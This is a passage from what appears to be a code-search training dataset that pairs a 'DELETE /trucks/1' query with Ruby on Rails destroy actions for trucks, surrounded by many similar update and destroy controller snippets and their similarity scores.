"def update\n respond_to do |format|\n if @flight.update(flight_params)\n format.html { redirect_to @flight, notice: 'Flight was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @flight.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @trip = Trip.find(params[:id])\n respond_to do |format|\n if @trip.update(trip_params)\n format.html { redirect_to oj_path, notice: 'Trip was successfully updated.' }\n else\n format.html { render :edit }\n end\n end\n end",
"def patch options\n rest_request({ method: :patch }.merge(options))\n end",
"def patch options\n rest_request({ method: :patch }.merge(options))\n end",
"def update\n respond_to do |format|\n if @traceroute.update(traceroute_params)\n format.html { redirect_to @traceroute, notice: 'Traceroute was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @traceroute.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @traceroute.update(traceroute_params)\n format.html { redirect_to @traceroute, notice: 'Traceroute was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @traceroute.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @flight = Flight.find(params[:id])\n\n respond_to do |format|\n if @flight.update_attributes(params[:flight])\n format.html { redirect_to @flight, notice: 'Flight was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @flight.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n trip = Trip.find_by_id(params[:trip_id])\n trip.title = params[:title]\n trip.city = params[:city]\n trip.state = params[:state]\n trip.country = params[:country]\n trip.start_date = params[:start_date]\n trip.end_date = params[:end_date]\n trip.description = params[:description]\n trip.link = params[:link]\n if params[:photo_base]\n trip.photo = params[:photo_base]\n end\n trip.save!\n render json: trip\n end",
"def patch(path, data)\n request 'PATCH', path, body: data.to_json\n end",
"def update\n @flight = Flight.find(params[:id])\n\n respond_to do |format|\n if @flight.update_attributes(params[:flight])\n format.html { redirect_to @flight, notice: 'Flight was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @flight.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @vehicle = Vehicle.find(params[:id])\n respond_to do |format|\n if @vehicle.update_attributes(params[:vehicle])\n format.html { redirect_to([@vehicle.fleet,@vehicle], :notice => 'Vehicle was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @vehicle.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @vehicle.update(vehicle_params)\n format.html { redirect_to @vehicle, notice: 'Vehicle was successfully updated.' }\n format.json { render :show, status: :ok, location: @vehicle }\n else\n format.html { render :edit }\n format.json { render json: @vehicle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @vehicle.update(vehicle_params)\n format.html { redirect_to @vehicle, notice: 'Vehicle was successfully updated.' }\n format.json { render :show, status: :ok, location: @vehicle }\n else\n format.html { render :edit }\n format.json { render json: @vehicle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @vehicle.update(vehicle_params)\n format.html { redirect_to @vehicle, notice: 'Vehicle was successfully updated.' }\n format.json { render :show, status: :ok, location: @vehicle }\n else\n format.html { render :edit }\n format.json { render json: @vehicle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def UpdateTicket params = {}\n \n APICall(path: 'tickets.json',method: 'PUT',payload: params.to_json)\n \n end",
"def update\n respond_to do |format|\n if @trash_wheel.update(trash_wheel_params)\n format.html { redirect_to @trash_wheel, notice: 'Trash wheel was successfully updated.' }\n format.json { render :show, status: :ok, location: @trash_wheel }\n else\n format.html { render :edit }\n format.json { render json: @trash_wheel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def update\n @trick = Trick.find(params[:id])\n\n respond_to do |format|\n if @trick.update_attributes(params[:trick])\n format.html { redirect_to @trick, notice: 'Trick was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @trick.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @trompler = Trompler.find(params[:id])\n\n respond_to do |format|\n if @trompler.update_attributes(params[:trompler])\n format.html { redirect_to @trompler, notice: 'Trompler was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @trompler.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @stolen_vehicle.update(stolen_vehicle_params)\n format.html { redirect_to @stolen_vehicle, notice: 'Stolen vehicle was successfully updated.' }\n format.json { render :show, status: :ok, location: @stolen_vehicle }\n else\n format.html { render :edit }\n format.json { render json: @stolen_vehicle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n begin\n Twitter.user_timeline(params[:foodtruck][:handle])\n foodtruck = Foodtruck.find(params[:id])\n foodtruck.update_attributes(params[:foodtruck])\n redirect_to '/foodtrucks'\n rescue\n redirect_to \"/foodtrucks/#{params[:id]}\"\n end\n end",
"def update\n @trap = Trap.find(params[:id])\n\n respond_to do |format|\n if @trap.update_attributes(params[:trap])\n format.html { redirect_to @trap, notice: 'Trap was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @trap.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n put :update\n end",
"def update\n @tariff = Tariff.find params[:id]\n\n respond_to do |format|\n if @tariff.update(tariff_params)\n format.html { redirect_to @tariff, notice: 'Tariff was successfully updated.' }\n format.json { respond_with_bip(@tariff) }\n else\n format.html { render :edit }\n format.json { respond_with_bip(@tariff) }\n end\n end\n end",
"def update\n respond_to do |format|\n if @vehicle.update(vehicle_params)\n format.html { redirect_to vehicles_url, notice: 'Vehicle was successfully updated.' }\n format.json { render :show, status: :ok, location: @vehcile }\n else\n format.html { render :edit }\n format.json { render json: @vehicle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @routine = Routine.find(params[:id])\n\n respond_to do |format|\n if @routine.update_attributes(params[:routine])\n format.html { redirect_to @routine, notice: 'Routine was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @routine.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @flight.update(flight_params)\n json_response(@flight.decorate.as_json(flight_details: true), :ok)\n else\n json_response(@flight.errors, :unprocessable_entity)\n end\n end",
"def update\n respond_to do |format|\n if @chest_triceps1.update(chest_triceps1_params)\n format.html { redirect_to \"/chest_triceps1s\" } \n format.json { render :show, status: :ok, location: @chest_triceps1 }\n else\n format.html { render :edit }\n format.json { render json: @chest_triceps1.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch(type, info)\n path, info = type_info(type, :path), force_case(info)\n ida = type == :client ? 'client_id' : 'id'\n raise ArgumentError, \"info must include #{ida}\" unless id = info[ida]\n hdrs = headers\n if info && info['meta'] && (etag = info['meta']['version'])\n hdrs.merge!('if-match' => etag)\n end\n reply = json_parse_reply(@key_style,\n *json_patch(@target, \"#{path}/#{Addressable::URI.encode(id)}\", info, hdrs))\n\n # hide client endpoints that are not quite scim compatible\n type == :client && !reply ? get(type, info['client_id']): reply\n end",
"def update\n ingredient.update(ingredient_params)\n render json: ingredient\n end",
"def update\n respond_to do |format|\n if @duck.update_attributes(params[:duck])\n format.html { redirect_to @duck, notice: 'Duck was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @duck.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @bowl = Bowl.find(params[:id])\n \n # set bowl modify time\n @bowl.modified = Time.now\n \n respond_to do |format|\n if @bowl.update_attributes(params[:bowl])\n \n Rails.logger.info \"Updating Bowl Contents\"\n \n # remove all contents for this bowl and add new\n @bowl.contents.delete_all(\"bowl_id=\" + @bowl.id)\n \n params.keys.each do |param|\n if param.start_with?(\"input_\") and (params[param] != \"\") \n @bowl.contents.create(:bowl_id => @bowl.id, :dryfruit_id => param[6, 2], :quantity => params[param]) \n end\n end\n\n format.html { redirect_to bowls_path, :notice => 'Bowl was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @bowl.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tarot.update(tarot_params)\n format.html { redirect_to @tarot, notice: 'Tarot was successfully updated.' }\n format.json { render :show, status: :ok, location: @tarot }\n else\n format.html { render :edit }\n format.json { render json: @tarot.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @trip_todo.update(trip_todo_params)\n format.html { redirect_to @trip_todo, notice: 'Trip todo was successfully updated.' }\n format.json { render :show, status: :ok, location: @trip_todo }\n else\n format.html { render :edit }\n format.json { render json: @trip_todo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch(path, params = {})\n request(:patch, path, params)\n end",
"def patch(path, params = {})\n request(:patch, path, params)\n end",
"def update\n if @food_truck.update(food_truck_params)\n redirect_to @food_truck, notice: 'Food truck was successfully updated.'\n else\n render action: 'edit'\n end\n end",
"def update\n respond_to do |format|\n if @trump.update(trump_params)\n format.html { redirect_to @trump, notice: 'Trump was successfully updated.' }\n format.json { render :show, status: :ok, location: @trump }\n else\n format.html { render :edit }\n format.json { render json: @trump.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @load_vehicle.update(load_vehicle_params)\n format.html { redirect_to @load_vehicle, notice: 'LoadVehicle was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @load_vehicle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @vehicle_realtime.update(vehicle_realtime_params)\n format.html { redirect_to @vehicle_realtime, notice: 'Vehicle realtime was successfully updated.' }\n format.json { render :show, status: :ok, location: @vehicle_realtime }\n else\n format.html { render :edit }\n format.json { render json: @vehicle_realtime.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @flight.update(flight_params)\n format.html { redirect_to @flight, notice: 'Flight was successfully updated.' }\n format.json { render :show, status: :ok, location: @flight }\n else\n format.html { render :edit }\n format.json { render json: @flight.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @flight.update(flight_params)\n format.html { redirect_to @flight, notice: 'Flight was successfully updated.' }\n format.json { render :show, status: :ok, location: @flight }\n else\n format.html { render :edit }\n format.json { render json: @flight.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @flight.update(flight_params)\n format.html { redirect_to @flight, notice: 'Flight was successfully updated.' }\n format.json { render :show, status: :ok, location: @flight }\n else\n format.html { render :edit }\n format.json { render json: @flight.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @flight.update(flight_params)\n format.html { redirect_to @flight, notice: 'Flight was successfully updated.' }\n format.json { render :show, status: :ok, location: @flight }\n else\n format.html { render :edit }\n format.json { render json: @flight.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @flight.update(flight_params)\n format.html { redirect_to @flight, notice: 'Flight was successfully updated.' }\n format.json { render :show, status: :ok, location: @flight }\n else\n format.html { render :edit }\n format.json { render json: @flight.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @flight.update(flight_params)\n format.html { redirect_to @flight, notice: 'Flight was successfully updated.' }\n format.json { render :show, status: :ok, location: @flight }\n else\n format.html { render :edit }\n format.json { render json: @flight.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @flight.update(flight_params)\n format.html { redirect_to @flight, notice: 'Flight was successfully updated.' }\n format.json { render :show, status: :ok, location: @flight }\n else\n format.html { render :edit }\n format.json { render json: @flight.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_truck\n @truck = Truck.find(params[:id])\n end",
"def set_truck\n @truck = Truck.find(params[:id])\n end",
"def set_truck\n @truck = Truck.find(params[:id])\n end"
] |
[
"0.6541489",
"0.6390542",
"0.63833356",
"0.6328744",
"0.6302916",
"0.63014597",
"0.62604016",
"0.6154636",
"0.6149486",
"0.61005473",
"0.6087122",
"0.6086946",
"0.6086946",
"0.608527",
"0.6058995",
"0.6042928",
"0.60423833",
"0.60241044",
"0.6021453",
"0.6021453",
"0.6003288",
"0.5994306",
"0.5993538",
"0.5981587",
"0.59575546",
"0.595081",
"0.5945998",
"0.59290767",
"0.5917532",
"0.5917532",
"0.5917532",
"0.5917532",
"0.5917532",
"0.5917532",
"0.5911717",
"0.59056985",
"0.59056985",
"0.5899978",
"0.5899618",
"0.58882904",
"0.58852994",
"0.58841354",
"0.5876628",
"0.58750314",
"0.5845919",
"0.5845919",
"0.5845919",
"0.5842139",
"0.58283854",
"0.58283854",
"0.58174205",
"0.58169156",
"0.5815781",
"0.5806086",
"0.58023536",
"0.579016",
"0.57893354",
"0.5781059",
"0.5781059",
"0.5781059",
"0.5780668",
"0.577136",
"0.57619816",
"0.57599485",
"0.5758585",
"0.5748331",
"0.57439685",
"0.57425636",
"0.5735386",
"0.57345927",
"0.57340115",
"0.5732338",
"0.5730097",
"0.57246417",
"0.5722617",
"0.5722318",
"0.5718581",
"0.5698493",
"0.5694374",
"0.5689282",
"0.56874084",
"0.56874084",
"0.56859356",
"0.5684511",
"0.5681103",
"0.568014",
"0.5676031",
"0.56751007",
"0.5674849",
"0.5674849",
"0.5674849",
"0.5674849",
"0.5674849",
"0.56715095",
"0.56715095",
"0.56715095"
] |
0.6897278
|
4
|
DELETE /trucks/1 DELETE /trucks/1.json
|
def destroy
@truck.destroy
respond_to do |format|
format.html { redirect_to truck_owner_path(current_user), notice: 'Truck was successfully destroyed.' }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @truck.destroy\n respond_to do |format|\n format.html { redirect_to trucks_url, notice: 'Truck was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @truck.destroy\n respond_to do |format|\n format.html { redirect_to trucks_url, notice: 'Truck was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @truck.destroy\n respond_to do |format|\n format.html { redirect_to trucks_url, notice: 'Truck was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @truck.destroy\n respond_to do |format|\n format.html { redirect_to trucks_url, notice: 'Truck was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\r\n @truck = Truck.find(params[:id])\r\n @truck.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to(trucks_url) }\r\n format.xml { head :ok }\r\n end\r\n end",
"def destroy\n @food_truck.destroy\n respond_to do |format|\n format.html { redirect_to food_trucks_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @trucking = Trucking.find(params[:id])\n @trucking.destroy\n\n respond_to do |format|\n format.html { redirect_to truckings_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @truck = Truck.find(params[:id])\n @truck.destroy\n \n respond_to do |format|\n flash[:notice] = 'Truck was successfully deleted.'\n format.html { redirect_to :back }\n format.xml { head :ok }\n end\n end",
"def destroy\n @opttruck.destroy\n respond_to do |format|\n format.html { redirect_to opttrucks_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n trip = Trip.find(params[:id])\n trip.destroy\n render json: {message: \"Successfully deleted trip\"}\n end",
"def delete(path)\n RestClient.delete request_base+path\n end",
"def destroy\n @truck = Truck.find(@time_and_place.truck_id)\n @time_and_place.destroy\n respond_to do |format|\n format.html { redirect_to @truck, notice: 'Location was successfully removed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n Foodtruck.destroy(params[:id])\n redirect_to '/foodtrucks'\n end",
"def destroy\n @trip = Trip.find(params[:id])\n @trip.destroy\n\n respond_to do |format|\n format.html { redirect_to trips_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @trip = Trip.find(params[:id])\n @trip.destroy\n\n respond_to do |format|\n format.html { redirect_to trips_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @trip = Trip.find(params[:id])\n @trip.destroy\n\n respond_to do |format|\n format.html { redirect_to trips_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @trip.destroy\n\n respond_to do |format|\n format.html { redirect_to trips_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @trip.destroy\n respond_to do |format|\n format.html { redirect_to trips_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @trip.destroy\n respond_to do |format|\n format.html { redirect_to trips_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @trip.destroy\n respond_to do |format|\n format.html { redirect_to trips_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @trip = Trip.find(params[:id])\n @trip.destroy\n\n respond_to do |format|\n format.html { redirect_to trips_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @trip = Trip.find(params[:id])\n @trip.destroy\n\n respond_to do |format|\n format.html { redirect_to trips_url }\n format.json { head :ok }\n end\n end",
"def destroy\n\n if @truck.destroy\n\n respond_to do |format|\n format.html { redirect_to trucks_url, notice: 'Truck was successfully destroyed.' }\n format.json { head :no_content }\n end\n else \n\n respond_to do |format|\n format.html { redirect_to trucks_url, notice: 'Vehiculo esta siendo usado, no puedes eliminar .' }\n format.json { head :no_content }\n end\n end \n\n end",
"def destroy\n @delivery_truck.destroy\n respond_to do |format|\n format.html { redirect_to delivery_trucks_url, notice: 'Delivery truck was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n vehicle = Vehicle.where(uid: params[:id]).first\n # vehicle.locations.destroy_all\n vehicle.destroy\n render nothing: true, :status =>204\n end",
"def destroy\n @trip = Trip.find(params[:id])\n @trip.destroy\n\n respond_to do |format|\n format.html { redirect_to find_trips_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vehicle = Vehicle.find(params[:id])\n @vehicle.destroy\n\n respond_to do |format|\n format.html { redirect_to root_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @truck_order.destroy\n respond_to do |format|\n format.html { redirect_to truck_orders_url, notice: 'Truck order was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vehicle = Vehicle.find(params[:id])\n @vehicle.destroy\n\n respond_to do |format|\n format.html { redirect_to vehicles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vehicle = Vehicle.find(params[:id])\n @vehicle.destroy\n\n respond_to do |format|\n format.html { redirect_to vehicles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @trump.destroy\n respond_to do |format|\n format.html { redirect_to trumps_url, notice: 'Trump was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete path\n make_request(path, \"delete\", {})\n end",
"def destroy\n @tribe.destroy\n respond_to do |format|\n format.html { redirect_to tribes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @trash_wheel.destroy\n respond_to do |format|\n format.html { redirect_to trash_wheels_url, notice: 'Trash wheel was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n authorize @trip, :destroy?\n @trip.destroy\n respond_to do |format|\n format.html { redirect_to trips_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @truck_cash.destroy\n respond_to do |format|\n format.html { redirect_to truck_cashes_url, notice: 'Truck cash was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @treq = Treq.find(params[:id])\n @treq.destroy\n\n respond_to do |format|\n format.html { redirect_to treqs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @flight.destroy\n respond_to do |format|\n format.html { redirect_to flights_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @flight.destroy\n respond_to do |format|\n format.html { redirect_to flights_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @flight.destroy\n respond_to do |format|\n format.html { redirect_to flights_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @trip.destroy\n respond_to do |format|\n format.html { redirect_to trips_url, notice: 'Trip was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @trip.destroy\n respond_to do |format|\n format.html { redirect_to trips_url, notice: 'Trip was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @trip.destroy\n respond_to do |format|\n format.html { redirect_to trips_url, notice: 'Trip was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @trip.destroy\n respond_to do |format|\n format.html { redirect_to trips_url, notice: 'Trip was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @trip.destroy\n respond_to do |format|\n format.html { redirect_to trips_url, notice: 'Trip was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @trip.destroy\n respond_to do |format|\n format.html { redirect_to trips_url, notice: 'Trip was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @trip.destroy\n respond_to do |format|\n format.html { redirect_to trips_url, notice: 'Trip was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @trip.destroy\n respond_to do |format|\n format.html { redirect_to trips_url, notice: 'Trip was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @trap = Trap.find(params[:id])\n @trap.destroy\n\n respond_to do |format|\n format.html { redirect_to traps_url }\n format.json { head :ok }\n end\n end",
"def delete\n @trip = Trips.find_trip( params[ :id ])\n end",
"def destroy\n @step.destroy\n respond_to do |format|\n format.html { redirect_to @trip }\n format.json { head :no_content }\n end\n end",
"def destroy\n @trip.destroy\n\n head :no_content\n end",
"def destroy\n @trip_item = TripItem.find(params[:id])\n @trip_item.destroy\n\n respond_to do |format|\n format.html { redirect_to trip_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vehicle.destroy\n render json: { status: 'Vehicle was successfully destroyed' }, status: :ok\n end",
"def destroy\n @food_truck.destroy\n redirect_to food_trucks_url\n end",
"def destroy\n @railway = Railway.find(params[:id])\n @railway.destroy\n\n respond_to do |format|\n format.html { redirect_to railways_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vehicle_realtime.destroy\n respond_to do |format|\n format.html { redirect_to vehicle_realtimes_url, notice: 'Vehicle realtime was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @flight = Flight.find(params[:id])\n @flight.destroy\n\n respond_to do |format|\n format.html { redirect_to flights_url }\n format.json { head :ok }\n end\n end",
"def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def destroy\n client=Client.find_by_id(params[:id])\n if client != nil\n if client.destroy\n head 204\n end\n else\n head 404\n end\n end",
"def destroy\n @flight = Flight.find(params[:id])\n @flight.destroy\n\n respond_to do |format|\n format.html { redirect_to flights_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tottle.destroy\n respond_to do |format|\n format.html { redirect_to tottles_url, notice: 'Tottle was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tarot.destroy\n respond_to do |format|\n format.html { redirect_to tarots_url, notice: 'Tarot was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete(path, params)\n parse_response @client[path].delete(:params => params)\n end",
"def destroy\n @tenure = Tenure.find(params[:id])\n @tenure.destroy\n\n respond_to do |format|\n format.html { redirect_to tenures_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subway.destroy\n respond_to do |format|\n format.html { redirect_to subways_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @load_vehicle.destroy\n respond_to do |format|\n format.html { redirect_to load_vehicle_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @drip = Drip.find(params[:id])\n @drip.destroy\n\n respond_to do |format|\n format.html { redirect_to drips_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @trip.destroy\n respond_to do |format|\n format.html { redirect_to @trip.parent || trips_url, change: 'trip' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subway = Subway.find(params[:id])\n @subway.destroy\n\n respond_to do |format|\n format.html { redirect_to subways_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @tetramod = Tetramod.find(params[:id])\n @tetramod.destroy\n\n respond_to do |format|\n format.html { redirect_to tetramods_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @trip.destroy\n respond_to do |format|\n format.html { redirect_to trips_url, flash: {success: \"Trip was successfully deleted.\" } }\n format.json { head :no_content }\n end\n end",
"def destroy\n @therapist = Therapist.find(params[:id])\n @therapist.destroy\n\n respond_to do |format|\n format.html { redirect_to therapists_url }\n format.json { head :no_content }\n end\n end",
"def delete\n request(:delete)\n end",
"def destroy\n @roadstop.destroy\n respond_to do |format|\n format.html { redirect_to roadstops_url }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(url)\n @deleted = true\nend",
"def destroy\n if @trip.destroy\n render :json => {:success => true}\n else\n render :json => {:success => false, :errors => [\"Delete failed.\"]}\n end\n end",
"def destroy\n @stall.destroy\n respond_to do |format|\n format.html { redirect_to stalls_url }\n format.json { head :no_content }\n end\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def destroy\n @vehicle.destroy\n respond_to do |format|\n format.html { redirect_to vehicles_url, notice: 'Vehicle was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vehicle.destroy\n respond_to do |format|\n format.html { redirect_to vehicles_url, notice: 'Vehicle was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vehicle.destroy\n respond_to do |format|\n format.html { redirect_to vehicles_url, notice: 'Vehicle was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vehicle.destroy\n respond_to do |format|\n format.html { redirect_to vehicles_url, notice: 'Vehicle was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @traceroute.destroy\n respond_to do |format|\n format.html { redirect_to traceroutes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @traceroute.destroy\n respond_to do |format|\n format.html { redirect_to traceroutes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @invoiced_trip.destroy\n respond_to do |format|\n format.html { redirect_to invoiced_trips_url, notice: 'Invoiced trip was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vehicle = Vehicle.find(params[:id])\n @vehicle.destroy\n\n respond_to do |format|\n format.html { redirect_to(fleet_vehicles_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @trek = Trek.find(params[:id])\n @trek.destroy\n\n respond_to do |format|\n format.html { redirect_to treks_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @flight = Flight.find(params[:id])\n @flight.destroy\n\n head :no_content\n end",
"def destroy\n @vehicle_army.destroy\n respond_to do |format|\n format.html { redirect_to vehicle_armies_url, notice: (t 'vehicle_armies.title')+(t 'actions.removed') }\n format.json { head :no_content }\n end\n end",
"def delete\n CONNECTION.execute(\"DELETE FROM truck_parts WHERE id = #{@id};\")\n end",
"def destroy\n travel = Travel.find(params[:id])\n travel.destroy\n head 204\n end",
"def destroy\n rid = params['id']\n if Aws.delete_recipe(rid) && Aws.delete_all_ingredients(rid)\n msg = {:notice => \"Recipe deleted!\"}\n render :json => msg\n else\n msg = {:notice => \"Error while deleting from DynamoDB!\"}\n render :json => msg\n end\n end",
"def destroy\n @chronicle.destroy\n respond_to do |format|\n format.html { redirect_to chronicles_url }\n format.json { head :no_content }\n end\n end",
"def delete_json(path)\n url = [base_url, path].join\n resp = HTTParty.delete(url, headers: standard_headers)\n parse_json(url, resp)\n end",
"def destroy\n @riesgo.destroy\n respond_to do |format|\n format.html { redirect_to riesgos_url, notice: 'Riesgo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end"
] |
[
"0.7231065",
"0.7231065",
"0.7231065",
"0.7231065",
"0.7207699",
"0.7199295",
"0.7119235",
"0.7105892",
"0.70669246",
"0.6993704",
"0.6879151",
"0.6875254",
"0.68581015",
"0.6847973",
"0.6830082",
"0.6830082",
"0.6830082",
"0.6824729",
"0.68203306",
"0.68203306",
"0.68203306",
"0.68182003",
"0.68182003",
"0.6802152",
"0.6783807",
"0.6756265",
"0.6727962",
"0.6723831",
"0.672212",
"0.67103696",
"0.67103696",
"0.67084974",
"0.67081404",
"0.6695515",
"0.6694586",
"0.6683589",
"0.6678081",
"0.6668277",
"0.6654079",
"0.6654079",
"0.6654079",
"0.66447896",
"0.66447896",
"0.66447896",
"0.66447896",
"0.66447896",
"0.66447896",
"0.66447896",
"0.66447896",
"0.6636245",
"0.66335386",
"0.6632589",
"0.662606",
"0.66194963",
"0.6605487",
"0.6605478",
"0.6603573",
"0.6588037",
"0.65866333",
"0.65838623",
"0.65818727",
"0.65811896",
"0.6579452",
"0.6573635",
"0.65609807",
"0.6557424",
"0.6556903",
"0.65555996",
"0.6552217",
"0.65448356",
"0.6542759",
"0.6539612",
"0.6538303",
"0.65379345",
"0.6535985",
"0.65316427",
"0.65305865",
"0.6530458",
"0.6527949",
"0.65211576",
"0.65211576",
"0.65211576",
"0.65211576",
"0.651794",
"0.651794",
"0.651794",
"0.651794",
"0.6517078",
"0.6517078",
"0.65120673",
"0.65080315",
"0.65053743",
"0.6504546",
"0.6501965",
"0.65005106",
"0.6499943",
"0.64976007",
"0.6496122",
"0.6490801",
"0.6490045"
] |
0.69962114
|
9
|
Use callbacks to share common setup or constraints between actions.
|
def set_truck
@truck = Truck.find(params[:id])
end
|
{
"objective": {
